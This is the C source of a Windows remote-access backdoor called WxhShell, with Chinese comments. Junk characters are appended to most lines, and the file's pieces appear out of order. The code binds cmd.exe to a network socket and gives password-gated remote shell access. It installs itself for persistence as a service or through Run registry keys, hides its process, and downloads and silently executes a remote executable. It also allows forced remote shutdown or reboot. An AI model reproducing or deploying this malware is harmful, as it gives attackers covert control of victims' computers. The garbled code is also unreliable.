    } y,v0-o~q  
    break; }kCn@  
    } |Sr\jUIWn  
  // 关机 PG6L]o^  
  case 'd': { oB0 8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +t>*l>[  
    if(Boot(SHUTDOWN)) Vo9>o@FlLM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y Tw',N{  
    else { nEd M_JPv  
    closesocket(wsh); +#*&XX5A#?  
    ExitThread(0); ByhOK}u;P4  
    } : _^0'ULP  
    break; dqD;y#/  
    } mNx,L+ 3  
  // 获取shell  nOoKGT  
  case 's': { ApG'jN  
    CmdShell(wsh); m)@Q_{=6M  
    closesocket(wsh); VR4E 2^  
    ExitThread(0); ]{|fYt_-  
    break; C|4 U78f{  
  } QJ a4R  
  // 退出 H}h~~7E  
  case 'x': { 66~e~F}z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ii~; d3.  
    CloseIt(wsh); _\,rX\  
    break; W>Mse[6`c  
    } M8^.19q;  
  // 离开 Gva}J 6{  
  case 'q': { *CeQY M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J16=!q()  
    closesocket(wsh); vIVw'Z(g}  
    WSACleanup(); MV0<^/p|  
    exit(1); uX[O,l^}  
    break; -l-AToO4  
        } "H5&3sF2  
  } n 5~=qQK2  
  } v]WH8GI  
Lzh9DYU6  
  // 提示信息 OM20-KDc5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >vQ6V'F  
} 2;~KL-h0TK  
  } Az U|p  
M0O>Ljo4RN  
  return; M'\pkzx  
} tgO+*q5B  
`]K,'i{R  
// shell模块句柄 d@-wi%,^  
int CmdShell(SOCKET sock) X$BXT  
{ UskZ%J  
STARTUPINFO si; `6rrXU6|  
ZeroMemory(&si,sizeof(si)); ]ddHA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w`M]0'zls  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'oC$6l'rQ  
PROCESS_INFORMATION ProcessInfo; mYjf5  
char cmdline[]="cmd"; -"F0eV+y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j: <t  
  return 0; -{!&/;Z  
} BwJNi6,  
NtHbwU,  
// 自身启动模式 /ca(a\@R  
int StartFromService(void) 6/|U  
{ r k@UsHy  
typedef struct c+1vqbqHG  
{ -dg}BM  
  DWORD ExitStatus; `Gf{z%/  
  DWORD PebBaseAddress; f](I.lm:  
  DWORD AffinityMask; GXO4x|08F  
  DWORD BasePriority; E\w+kAAf  
  ULONG UniqueProcessId; ;JYoW{2  
  ULONG InheritedFromUniqueProcessId; _=uviMuE  
}   PROCESS_BASIC_INFORMATION; _O$tuC%  
o5>/}wIf  
PROCNTQSIP NtQueryInformationProcess; > 9o{(j  
>Z}@7$(7!~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; NNgK:YibD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ga.0Io&}C  
6?O}Q7G  
  HANDLE             hProcess; (JWv *p  
  PROCESS_BASIC_INFORMATION pbi; Q ]/B/  
k'x #t(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ):S!Nl  
  if(NULL == hInst ) return 0; \OP9_J(*  
>ZX|4U[$P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4X*Q6rW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :xM}gPj"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k9 l^6#<?  
:v_w!+,/  
  if (!NtQueryInformationProcess) return 0; |!oXvXU  
wsq LXZI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B.}cB'|  
  if(!hProcess) return 0; KhrFg1|  
cg{Gc]'1#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g*F~8+]Y  
h<)yJh  
  CloseHandle(hProcess); hl**zF  
J)#S-ZB+'k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o~;M"  
if(hProcess==NULL) return 0; \KCWYi]  
L $SMfx  
HMODULE hMod; GoazH?%  
char procName[255]; pUGN!3  
unsigned long cbNeeded; -8/JP  
aV#h5s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ts#pUoE~+H  
p.5e: i^LJ  
  CloseHandle(hProcess); RbKwO} z$q  
jccOsG9;_  
if(strstr(procName,"services")) return 1; // 以服务启动 >C*4_J7  
%W&1`^Jl  
  return 0; // 注册表启动 m2Q$+p@  
} ??j&i6sp  
c@9##DPn  
// 主模块 =gs~\q  
int StartWxhshell(LPSTR lpCmdLine) K'V 2FTJI  
{ >4M<W4  
  SOCKET wsl; %0zS  
BOOL val=TRUE;  HD H  
  int port=0; { m'AY)  
  struct sockaddr_in door; )'t&q/Wn  
.lr5!Stb  
  if(wscfg.ws_autoins) Install(); mqw 84u  
fdLBhe#9M  
port=atoi(lpCmdLine); UBIIo'u  
iu|v9+  
if(port<=0) port=wscfg.ws_port; (gU2"{:]J  
OT@yPG  
  WSADATA data; .:N:pWe  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GMw)*  
kT2Wm/L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %I0}4$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wV>c" J  
  door.sin_family = AF_INET; a%*_2#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1mix+.d  
  door.sin_port = htons(port); "&<~UiI  
=Epq%,4nG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f"P$f8$  
closesocket(wsl); /B[}I}X  
return 1; d- kZt@DL=  
} yV2e5/i  
`2e_ L  
  if(listen(wsl,2) == INVALID_SOCKET) { g}Mi9Kp  
closesocket(wsl); GV>&g  
return 1; .1{l[[= W  
} U(Z!J6{c  
  Wxhshell(wsl); 5*1#jiq  
  WSACleanup(); GW8CaTf~  
WUY,. 8  
return 0; ]5)"gL%H`  
Z'ao[CG  
} C=[Ae,  
I&\4C.\>  
// 以NT服务方式启动 %"+4 D,'l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sUV>@UMnu  
{ j%WY ,2P  
DWORD   status = 0; OfJd/D  
  DWORD   specificError = 0xfffffff; ib; yu_  
])UwC-l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b!,ja?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dQK`sLChv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bQj`g2eyM  
  serviceStatus.dwWin32ExitCode     = 0; }H2#H7!H  
  serviceStatus.dwServiceSpecificExitCode = 0; wHWma)}-z  
  serviceStatus.dwCheckPoint       = 0; tvT4S  
  serviceStatus.dwWaitHint       = 0; q<EEb  
<p/MyqZf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gCL{Cw  
  if (hServiceStatusHandle==0) return; 03F3q4"  
3fl7~Lw,  
status = GetLastError(); xl9(ze  
  if (status!=NO_ERROR) N3Z@cp  
{ qCQu^S' iD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L20rv:W$h  
    serviceStatus.dwCheckPoint       = 0; 3>M.]w6{  
    serviceStatus.dwWaitHint       = 0; bM5CDzH(#X  
    serviceStatus.dwWin32ExitCode     = status; }k| g%H J  
    serviceStatus.dwServiceSpecificExitCode = specificError; d EI a=e|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sS|<&3  
    return; "f<#.}8  
  } t2U$m'(A&  
zsQF,7/}B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oSmjs  
  serviceStatus.dwCheckPoint       = 0; PU"S;4m  
  serviceStatus.dwWaitHint       = 0; 8yvJ`eL-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NZfd_? 3  
} Lrlk*   
2^J/6R$  
// 处理NT服务事件,比如:启动、停止 F@EZ;[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $YPQC  
{ W#V fX!~  
switch(fdwControl) ]| z")gOE  
{ \QiqcD9Y  
case SERVICE_CONTROL_STOP: GBW 7Y  
  serviceStatus.dwWin32ExitCode = 0; pLPd[a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RW)k_#%=  
  serviceStatus.dwCheckPoint   = 0; TG?fUD V  
  serviceStatus.dwWaitHint     = 0; ZRO.bMgZF  
  { -CwWs~!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OoSa95#x  
  } TtZrttCE6  
  return; bje' Oolc  
case SERVICE_CONTROL_PAUSE: v >NTh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q6xgLx[  
  break; ^&HI +M  
case SERVICE_CONTROL_CONTINUE: NXi ,5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |NXFla  
  break; y^ 3,X_0  
case SERVICE_CONTROL_INTERROGATE: (KZUvsSk  
  break; *x5o=)Y  
}; C>M6&=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mg&HRE  
} u"eZa!#  
aQC 7V!v  
// 标准应用程序主函数 X9SJ~n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N:5b1TdI,  
{ ]D?oQ$q7  
- f+CyhR"*  
// 获取操作系统版本 H9/XW6W,"w  
OsIsNt=GetOsVer(); *%;6P5n%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5QNBB|X@  
/]P%b K6B  
  // 从命令行安装 UX03"gX  
  if(strpbrk(lpCmdLine,"iI")) Install(); ">03~:oA  
WReYF+Uen  
  // 下载执行文件 m21QN9(i%  
if(wscfg.ws_downexe) { zjzqKdy}F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4c~*hMr y  
  WinExec(wscfg.ws_filenam,SW_HIDE); N.kuE=X  
} }kpfJLjY  
^Jc$BMaVg  
if(!OsIsNt) { hn*}5!^  
// 如果时win9x,隐藏进程并且设置为注册表启动 hrUm} @d  
HideProc(); "87O4 #$  
StartWxhshell(lpCmdLine); N.ItyV  
} Z1 E` I89<  
else }//8$Z<(  
  if(StartFromService()) q_OY sg  
  // 以服务方式启动 y=y/d>=w  
  StartServiceCtrlDispatcher(DispatchTable); 9CgXc5  
else zEnC[~W  
  // 普通方式启动 _:/Cl9~  
  StartWxhshell(lpCmdLine); Ih9ORp7  
T<w*dX7F0K  
return 0; Q%_!xQP`  
} 4+Li)A:4.  
%`t]FV^#  
3Y.d&Nz  
eUGm ns  
=========================================== BZnp #}f  
BVwRPt  
4DG 9`5.  
mH7CgI  
_"FbjQ"  
I\F=s-VVY  
" _ d(Ks9  
$Sc08ro  
#include <stdio.h> ePIly)=X  
#include <string.h> Z`0r]V`Ys  
#include <windows.h> g(z#h$@S  
#include <winsock2.h> `SSP53R(0  
#include <winsvc.h> ?trt4Tbe/  
#include <urlmon.h> .$}Z:,aB  
Xm0&U?dZB  
#pragma comment (lib, "Ws2_32.lib") uj+.L6S  
#pragma comment (lib, "urlmon.lib") 9phD5b~j  
ps{&WT3a  
#define MAX_USER   100 // 最大客户端连接数 P"h,[{Y*>  
#define BUF_SOCK   200 // sock buffer 7oqn;6<[>,  
#define KEY_BUFF   255 // 输入 buffer lhW#IiX  
!pF KC)  
#define REBOOT     0   // 重启 Sf.8Ibw  
#define SHUTDOWN   1   // 关机 A+bu bH,  
#7cf 8y  
#define DEF_PORT   5000 // 监听端口 Kr+Bt y  
D; 35@gtj  
#define REG_LEN     16   // 注册表键长度 *6\`A!C  
#define SVC_LEN     80   // NT服务名长度 zN 729wK  
l,FG:"`Z@  
// 从dll定义API )oz-<zW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r)Mx.`d!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L{o >D"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bW 79<T'+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MIMPJXT#.  
H?zCIue3  
// wxhshell配置信息 cvLcre% >A  
struct WSCFG { [b)K@Ha  
  int ws_port;         // 监听端口 7+2aG  
  char ws_passstr[REG_LEN]; // 口令 _`Yvfz3  
  int ws_autoins;       // 安装标记, 1=yes 0=no q5K/+N^2?  
  char ws_regname[REG_LEN]; // 注册表键名 yI)RG OV  
  char ws_svcname[REG_LEN]; // 服务名 Fy+7{=?^F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A5>gLhl7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e^l+ #^fR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {u[K ^G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5IF~]5s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h}VYA\+<B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Sr#fyr  
bMK'J  
}; W2o8Fu   
J W yoh|  
// default Wxhshell configuration =jd=Qs IL  
struct WSCFG wscfg={DEF_PORT, 6;=wuoJi  
    "xuhuanlingzhe", b<8J;u<  
    1, `5 v51TpH  
    "Wxhshell", p=5H^E m1  
    "Wxhshell", KL_}:O68  
            "WxhShell Service", :@4>}k*  
    "Wrsky Windows CmdShell Service", $!3t$-TSD  
    "Please Input Your Password: ", uC8T!z  
  1, bJMcI8`  
  "http://www.wrsky.com/wxhshell.exe", @^4M~F%  
  "Wxhshell.exe" -H]f@|AOw  
    }; x[uXD  
(( IBaEq  
// 消息定义模块 Oj|p`Dzh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZCF-*nm  
char *msg_ws_prompt="\n\r? for help\n\r#>"; oP`M\KXau  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +Q#Qu0_   
char *msg_ws_ext="\n\rExit."; ?kxWj(D  
char *msg_ws_end="\n\rQuit."; e ~,'|~ C5  
char *msg_ws_boot="\n\rReboot..."; 5qB=@O]|G;  
char *msg_ws_poff="\n\rShutdown..."; C- Rie[  
char *msg_ws_down="\n\rSave to "; EYD{8Fw-  
1kw4'#J8  
char *msg_ws_err="\n\rErr!"; JY8"TQ$x  
char *msg_ws_ok="\n\rOK!"; >\x 39B  
r%mTOLef  
char ExeFile[MAX_PATH]; DWxh{h">  
int nUser = 0; KIl.?_61O  
HANDLE handles[MAX_USER]; KcF+!;:  
int OsIsNt; Y_YIJ@  
c89vx 9  
SERVICE_STATUS       serviceStatus; LsZ!':LN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b1^Yxe#L  
f0bV]<_9  
// 函数声明 U jzz`!mz  
int Install(void); *pUV-^uo  
int Uninstall(void); R'HA>?D  
int DownloadFile(char *sURL, SOCKET wsh); D ;I;,Z  
int Boot(int flag); 9+Hb`  
void HideProc(void); =0yJ2[R7Do  
int GetOsVer(void); Ui;s.f  
int Wxhshell(SOCKET wsl); yzl\{I&  
void TalkWithClient(void *cs); Y rnqi-P  
int CmdShell(SOCKET sock); Ou,_l  
int StartFromService(void); C}EDl2  
int StartWxhshell(LPSTR lpCmdLine); |Cq J2  
}@6 %yR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rM.<Gi05Qe  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jn Y3G  
g}KZL-p4\m  
// 数据结构和表定义 M 7$4KFNp  
SERVICE_TABLE_ENTRY DispatchTable[] = 4ux5G`oL  
{ o^6j(~  
{wscfg.ws_svcname, NTServiceMain},  IomJo  
{NULL, NULL} ^C| 9K>M  
}; a/#,Y<kJ  
N,$o' \l  
// 自我安装 N\&;R$[9:  
int Install(void) Z"T(8>c;g  
{ |%;txD  
  char svExeFile[MAX_PATH]; EIm\!'R]  
  HKEY key; dq(L1y870  
  strcpy(svExeFile,ExeFile); %;?3A#  
X#<Sv>c^  
// 如果是win9x系统,修改注册表设为自启动 ]zY'w,?D\F  
if(!OsIsNt) { C;>Ll~f_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { giJyMd}x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FR"^?z?}p  
  RegCloseKey(key); m/Z_HER^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "PtH F`mo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *X=-^\G  
  RegCloseKey(key); e84TL U?~  
  return 0; s'4p+eJ  
    } )>p6h]]a  
  } WE]^w3n9  
} {NDP}UATw  
else { a| cD{d  
&0`7_g7G  
// 如果是NT以上系统,安装为系统服务 =1capix 1r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (5_(s`q.  
if (schSCManager!=0) Pme?`YO$x  
{ VRt*!v<")  
  SC_HANDLE schService = CreateService rgY~8PY"  
  ( q4= RE  
  schSCManager, < .!3yy  
  wscfg.ws_svcname, l?[DO?m+R  
  wscfg.ws_svcdisp, V  ""  
  SERVICE_ALL_ACCESS, .YRSd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Xv:IbM> Qc  
  SERVICE_AUTO_START, Tp13V.|  
  SERVICE_ERROR_NORMAL, 9A!qg<  
  svExeFile, OLwxGRYX  
  NULL, D6WsEd>  
  NULL, :ux`*,zh  
  NULL, ?da3Azp  
  NULL, 0*^Fk=>ej  
  NULL =Wa\yBj_;m  
  ); D~:fn|/Brp  
  if (schService!=0) sh1()vT  
  { 7@?b _  
  CloseServiceHandle(schService); -E7\ .K3  
  CloseServiceHandle(schSCManager); f]}F_]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *$!LRmp?  
  strcat(svExeFile,wscfg.ws_svcname); ?H&p zY~H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j^.P=;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O]>`B{  
  RegCloseKey(key); KJiwM(o  
  return 0; $/H'Dt6x  
    } 7-DC"`Y8e  
  } LHb{9x  
  CloseServiceHandle(schSCManager); \<} nn?~n  
} v|GvN|_|  
} heWb(E&  
CvN~  
return 1; _*9Zp1r  
} Gm. hBNgp  
uOQ5.S+  
// 自我卸载 ;Yj}9[p;T  
int Uninstall(void) d,77L  
{ 9O"?T7i"#  
  HKEY key; kBzzi^cl  
MD7[}cB  
if(!OsIsNt) { IQDWH/ c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2Y+*vNs3  
  RegDeleteValue(key,wscfg.ws_regname); pGIeW}2'9  
  RegCloseKey(key); -n9e-0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v>XE]c_  
  RegDeleteValue(key,wscfg.ws_regname); [Z 0 e$  
  RegCloseKey(key); ZZTV >:  
  return 0; -cKR15  
  } ",}VB8K  
} J: LSGj;R  
} L6a8%%`  
else { G 1$l%B  
GYYro&aq{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7,1idY%cy  
if (schSCManager!=0) J0#% *B  
{ *%O1d.,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SCjACQ}-  
  if (schService!=0) \; 3r  
  { c:0$ M w=  
  if(DeleteService(schService)!=0) { L4NC -  
  CloseServiceHandle(schService); r#XDgZtI  
  CloseServiceHandle(schSCManager); %VMazlM15  
  return 0; +,MzD'(D  
  } BjH(E'K[b  
  CloseServiceHandle(schService); <ESAoY"RPN  
  } &0#qy9wx  
  CloseServiceHandle(schSCManager); ' 9,}N:p  
} zm e:U![  
} /nrDU*  
IOA{l N6  
return 1; V><P`  
} j.z#fU  
'~@WJKk  
// 从指定url下载文件 WDZEnauE  
int DownloadFile(char *sURL, SOCKET wsh) L$b9|j7  
{ Bq!P.%6p4  
  HRESULT hr; {[$p}#7Y  
char seps[]= "/"; a%AU9?/q#  
char *token; -B_dE-l,  
char *file; ]8mBFr5E9  
char myURL[MAX_PATH]; p?}Rolk7  
char myFILE[MAX_PATH]; GL/\uq  
8\yH 7H  
strcpy(myURL,sURL); EGs z{c[8@  
  token=strtok(myURL,seps); q%JV"9,  
  while(token!=NULL) I[&!\Me[+w  
  { o6qQ zk  
    file=token; $/D@=P kc  
  token=strtok(NULL,seps); sST6_b  
  } iw#luHcJ  
GJ*AyYG  
GetCurrentDirectory(MAX_PATH,myFILE); # mzJ^V-  
strcat(myFILE, "\\"); -du+iOe?  
strcat(myFILE, file); (s9?#t6  
  send(wsh,myFILE,strlen(myFILE),0); )X@(>b{  
send(wsh,"...",3,0); "aP/214Ul  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E J 9A 4B  
  if(hr==S_OK) c`iSe$eS  
return 0; vv3dr_l:  
else ue`F|  
return 1; !0w'S>e  
i3kI{8h  
} _ p?q/-[4  
t$}+oCnkv  
// 系统电源模块 s#d>yx_b  
int Boot(int flag) e\P+R>i0  
{ Vbwbc5m}  
  HANDLE hToken; 9J>DLvl;  
  TOKEN_PRIVILEGES tkp; }#Vo XilX  
TzIgEn~  
  if(OsIsNt) { ln3.TR*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [%b<%m}L-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [rQ#skf  
    tkp.PrivilegeCount = 1; \+5L. Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "U yw7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #Uudx~b  
if(flag==REBOOT) { Sm-nb*ZyC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jL 2f74?1  
  return 0; eqLETo@} *  
} 9gWQGkql  
else { hwexv 9""  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /R^!~J50  
  return 0; z9VQsC'K  
} `RjcJ?r  
  } 3lKIEPf6r  
  else { fA|'}(kH  
if(flag==REBOOT) { >(\[$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &*0!${ B  
  return 0; #BM *40tch  
} 2!jbaSH(+  
else { XbHcd8N T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t);5Cw _  
  return 0; |FKo}>4  
} Gk!v-h9cq  
} +[*UC"  
|px4a"  
return 1; 8l?]UFM>C  
} E{j6OX\  
KnbP@!+c  
// win9x进程隐藏模块  gs9f2t  
void HideProc(void) !N!M NsyDz  
{ FxD"z3D  
n+xM))  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]ImS@!Ajjx  
  if ( hKernel != NULL ) J@1(2%)|Z  
  { uV;Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <01MXT-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W>+<r9Rt4  
    FreeLibrary(hKernel); R4{}ZT  
  } ,kLeK{   
SqEO ] ~  
return; 1f~_# EIC  
} ^GL0|G=(1  
G|H\(3hHLZ  
// 获取操作系统版本 bXtA4O  
int GetOsVer(void) NbgP,-  
{ jQf1h|e  
  OSVERSIONINFO winfo; }~\J7R'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v^KJU +  
  GetVersionEx(&winfo); &(wik#S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .]8 Jeb  
  return 1; $BNn1C8[  
  else ?5Lom#^  
  return 0; SR8[ 7MU  
} &0Nd9%>  
ysvn*9h+&  
// 客户端句柄模块 =L&_6lb  
int Wxhshell(SOCKET wsl) \7W {/v4^  
{ hWuq  
  SOCKET wsh; <f:b%Pm 7  
  struct sockaddr_in client; h j9 b Mj  
  DWORD myID; qB"y'UW8  
|[xi"E\  
  while(nUser<MAX_USER) mb?yG:L=0b  
{ 40+E#z)  
  int nSize=sizeof(client); g,x$z~zU{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E6BW&Xp  
  if(wsh==INVALID_SOCKET) return 1; yKq;EcVx  
IgSe%B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); drF"kTD"7  
if(handles[nUser]==0) e3',? 5j  
  closesocket(wsh); k98--kc5  
else <o p !dS  
  nUser++; !'n+0  
  } v]vrD2L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b/WVWDyob/  
- !7QH'  
  return 0; JQI`9$asuC  
} V$^x]z  
E&]S No<  
// 关闭 socket bQ_i&t\yzB  
void CloseIt(SOCKET wsh) 5>$*#0%"}  
{ `5h$@  
closesocket(wsh); Qb9) 1  
nUser--; A qE,zW  
ExitThread(0); YW>|gE  
} FVL0K(V(  
(9'MdH  
// 客户端请求句柄 DR^mT$  
void TalkWithClient(void *cs) dqPJ 2j $\  
{ XWk/S $-d  
<@e6zQG  
  SOCKET wsh=(SOCKET)cs; <K|_M)/9  
  char pwd[SVC_LEN]; l{Xsh;%=  
  char cmd[KEY_BUFF]; [Fj h  
char chr[1]; 9?l( }S`  
int i,j; Mm|HA@W^  
=yfr{5}R  
  while (nUser < MAX_USER) { 'U5 E{  
+qjW;]yxP  
if(wscfg.ws_passstr) { ?=f\oH$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;%Jp@'46  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NAHQ:$  
  //ZeroMemory(pwd,KEY_BUFF); CSwNsFDR%  
      i=0; B8;_h#^q  
  while(i<SVC_LEN) { b&V=X{V4  
ml\7JW6Rx  
  // 设置超时 aD 24)?db-  
  fd_set FdRead; }+I 8l'  
  struct timeval TimeOut; < _c84,[V  
  FD_ZERO(&FdRead); X[grV e  
  FD_SET(wsh,&FdRead); $F;$-2  
  TimeOut.tv_sec=8; vqv(KsD+::  
  TimeOut.tv_usec=0; Xgr|~(^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c$@,*c 0n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )QFT$rmX  
eAm7*2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (|h<{ -L  
  pwd=chr[0]; |LiFX5!\  
  if(chr[0]==0xd || chr[0]==0xa) { UyTq(7uo  
  pwd=0; f}nGWV%,  
  break; A7~)h}~   
  } uh`~K6&*\w  
  i++; &=@ R,  
    } CDoZv""  
C'*1w  
  // 如果是非法用户,关闭 socket JI@~FD&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E(8O3*=  
} ;cxYX/fJ  
qt/"$6]%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |'Ve75 W6u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lT1*e(I  
ax7u b  
while(1) {  2Np9*[C  
T*|?]k 8@*  
  ZeroMemory(cmd,KEY_BUFF); 6Q>:g"_  
bZERh:%o  
      // 自动支持客户端 telnet标准   r$G;^  
  j=0; >(:KEA  
  while(j<KEY_BUFF) { {K_YW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B~LB^ n(>@  
  cmd[j]=chr[0]; oV,>u5:B  
  if(chr[0]==0xa || chr[0]==0xd) { cf@:rHB}  
  cmd[j]=0; ?HZ+fS ,-  
  break; )x?F1/  
  } !\+SE"ml  
  j++; 2R:['QT  
    } dKZffDTZ  
F RS@-P  
  // 下载文件 cg$7`/U  
  if(strstr(cmd,"http://")) { A-c3B+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k3^S^Bv\  
  if(DownloadFile(cmd,wsh)) sL+/Eeb` c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )5'S=av9  
  else J=zh+oLCV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R"=G?d)  
  } xxiEL2"`>  
